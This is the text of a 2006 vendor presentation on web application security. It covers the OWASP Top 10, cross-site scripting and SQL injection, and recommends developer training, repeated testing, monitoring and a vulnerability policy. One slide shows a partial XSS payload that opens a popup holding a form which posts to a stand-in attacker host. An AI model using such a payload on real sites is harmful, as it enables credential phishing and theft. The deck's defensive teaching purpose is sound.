1

Cover Your Applications: Top 5 Things You Can

Do

Nov 8, 2006

Ambarish MalpaniCTO/VP EngCenzic, Inc.

2

Proactive Security

Whoever is first in the field and awaits the coming of the enemy, will be fresh for the fight; whoever is second in the field and has to hasten to battle will arrive exhausted.

-- Sun-Tzu “The Art of War”

3

Agenda

• Why is Security Testing Important?• What we will not cover• Stats on Recent Issues• Top 5 things you should do• Summary

4

Why is Security Testing Important?

- Tom Ridge(Former) Secretary of the U.S. Department of

Homeland Security

“A few lines of code can wreak more havoc than a bomb.”

5

Web Application Security Overview: Recent Statistics (ITSC Volume IX)

• Directory Traversal is the 2nd most common attack on the internet as of the 2nd half of 2005

• Cross-Site Scripting came in 7th place, of all attacks detected by Symantec.

• Symantec predicts an increasing trend away from hacking for fame toward hacking for fortune…

• --Phishing up 9% in second half of 2005

--Financial Services companies were the most frequently attacked in the 2nd half of 2005

• Attack patterns suggest a shift away from OS targets to web applications and web server technologies.

6

Vulnerability Percentages

7

Web Application Security Overview: Recent Statistics (ITSC Volume X)

• 69% of all reported vulnerabilities were in web applications

• 78% of the reported web application vulnerabilities were easily exploitable.

“Web applications are required to accept and interpret input from many different sources, and there are very few restrictions to distinguish valid from invalid input. This is further complicated because Web browsers, the application through which most Web Applications operate, are very liberal in what they will accept and interpret as valid input”

ITSC vol. X (pg. 10)• Often not subject to the same strenuous QA

and security testing as other production quality code.

8

Why is App Security Important?

"75% of cyber attacks and Internet security violations are generated through Internet Applications" - Gartner Group

Application Server

withCustom Software

Web

Serv

er

DMZ

Exte

rnal F

irew

all

Corporate DBwith

Sensitive CustomerData

IntranetThe big bad world

Internet

Inte

rnal F

irew

all

9

What are we protecting?• Customer information

– Most of the customer information like name, SS#, address, etc. is behind the web applications

• Employee information– Protecting employee information is critical and

hackers can get to it easily• Credit Card information

– Hackers can get to your credit card information by coming through applications

• Patient information– Most of the patient information can be accessed

by hacking through the web applications.

10

What we will not cover• In this talk, we will not cover network

level protection of your network– Firewalls, IDS’s are well understood and

reasonably widely deployed– Neither will we cover patch management

systems

11

Item 1: Educate Developers• Developers need to be trained in security

– Security needs to be designed in– Fixing problems causes patchwork, more

problems– Developer pushback on security issues is

much less

• Security testing can’t guarantee that it finds all problems

• Problems found during the security testing process are way more painful to deal with– Any fixes delay a release

12

OWASP Top 10

Strong server configuration standard is critical to a secure web application. Serversare not secure out of the box and need to be configured for security

Attackers can consume web application resources to a point where legitimate users can no longer access or use the application

Web applications frequently use cryptographic functions to protect information and credentials. If not coded properly, it can result in weak protection

Error conditions that occur during normal operation are not handled properly and could result in giving detailed system information to a hacker, or crash the server

Web applications pass parameters when they access external systems or the local operation system.

Web application components in some languages that do not properly validate input can be crashed and, in some cases, used to take control of a process

The web application can be used as a mechanism to transport an attack to an end user’s browser.

Account credentials and session tokens are not properly protected.

Restrictions on what authenticated users are allowed to do are not properly enforced.

Information from web requests is not validated before being used by a web application .

Insecure configuration management

Denial of service

Insecure storage

Improper Error Handling

Injection Flaws

Buffer Overflows

Cross-site Scripting(XSS) Flaws

Broken Account and Session Mgmt

Broken Access Control

Unvalidated Input

Source: OWASP, 2004 – www.owasp.org

13

Cross-Site Scripting• What is it?: The Web Application is used to store, transport, and

deliver malicious active content to an unsuspecting user.

• Root Cause: Failure to proactively reject or scrub malicious characters from input vectors.

• Impact: Persistent XSS is stored and executed at a later time, by a user. Allows cookie theft, credential theft, data confidentiality, integrity, and availability risks. Browser Hijacking and Unauthorized Access to Web Application is possible using existing exploits.

• Solution: A global as well as Form and Field specific policy for handling untrusted content. Use white lists and regular expressions to ensure input data conforms to the required character set, size, and syntax.

14

Unvalidated Input (A1) with XSS (A4)

15

Unvalidated Input (A1) with XSS (A4)

16

Unvalidated Input (A1) with XSS (A4)

17

Unvalidated Input (A1) with XSS (A4)

Unvalidated Input and resulted in a Cross-Site Scripting Attack and the theft of the Administrator’s Cookie

18

Cross-Site Scripting: Content Spoofing

• Insert un-trusted content into the web application that can be used to trick users.

• Compromise of the integrity of application code via malicious script code injected into the database

• Limited only by the attackers imagination.

19

Cross-Site Scripting Exploit• <SCRIPT>var oWH =

window.open("","","width=275, height=175, top=200, left=250 location=no, menubar=no, status=no, toolbar=no, scrollbars=no, resizable=no");oWH.document.write(“

• HTML FORM with POST request to http://compromised-server/h4xor.php

• );</SCRIPT>

20

Cross-Site Scripting: Content Spoofing

21

SQL Injection• What is it?: Database contents are compromised or disclosed

by the use of specially crafted input that manipulates SQL Query Logic.

• Root Cause: Failure to properly scrub, reject, or escape domain-specific SQL characters from an input vector.

• Impact: Data confidentiality, integrity, and availability with the ability to read, modify, delete, or even drop database tables.

• Solution: Define accepted character-sets for input vectors, and enforce these white lists rigorously. Force input to conform to specific patterns when other special characters are needed: dd-mm-yyyy. Also, use SQL Prepared Statements.

22

Types of SQL Injection Attacks

• Tautologies• Blind SQL Injection

23

Example: SQL Tautology Injection Submitting SQL Query logic instead of a valid date can expose confidential records.

.

24

Example: SQL Tautology Injection Submitting SQL Query logic instead of a valid date can expose confidential records.

.

25

Item 2: Test Your Applications• Test your Application

– Hopefully testing is just verifying that your developers did a great job!

– More options than in the past:• Manual penetration testing• Source code analysis• Automated penetration testing

26

Manual Penetration Testing

• Hire experienced companies/professionals to attack your web application

• Comments– Cost– Time (to get people, cover apps)– Need to redo with new versions, bug fixes– Thoroughness– Variability based on the individual– If you get the right people, can be very

effective

27

Source Code Scanning

• Look at the web application source code• Identify cases where user input can

reach sensitive functions• Comments

– Need developer and management commitment

– Need process changes– Lots of false positives– Language dependent– Hard to cover cases when source

unavailable– Scaling issues– Miss issues across modules

28

Automated Penetration Testing

• Do automated security testing of apps (ideally before deployment)

• Comments– Fits in very nicely with functionality testing– Doesn’t require process changes– Doesn’t need to be expensive– Can’t test for everything manual testers

can

29

Item 3:Test Your Application Again

• Continuous testing of applications is extremely important– New vulnerabilities being discovered all the

time– New methods of attacks are being proposed

(both by the black and white hats)

• With new security test automation tools this isn’t as prohibitive as before– Automation allows tests to be done

automatically– Time for a retest can be much lower– With tools, there isn’t a huge consultant cost

for a retest

30

Demo I

31

Demo II

32

Demo III

33

Item 4: Monitor Your Site• Monitoring your site is important

because:– It let’s you know how effective your

developer education/testing was– Alerts you to new attack string and

mechanisms– Allows you to know if there has been a

breach and respond to it

34

Item 5: Have a Vulnerability Policy

• Policy When a Break-in Happens or a Vulnerability is Found– Need to have Backup and Restore Processes

in place– Need to have Practice runs of the Response

Process– Application Firewalls can help while you get

a fix for vulnerabilities found in deployed applications

• Avg time Exploit -> Vulnerability: 6.8 days• Avg time Exploit -> Patch: 49 days• The hackers have a faster release process!

» Source: Symantec’s Internet Security Threat Report IX

– Need a Hot fix process

35

Summary• We talked about the need for security

testing• We covered the Top 5 Things-To-Do

– Educate Developers– Test your applications– Test them again– Monitor your applications– Have a vulnerability policy

36

Questions/Discussion

Ambarish Malpani408.200.0716

request@cenzic.com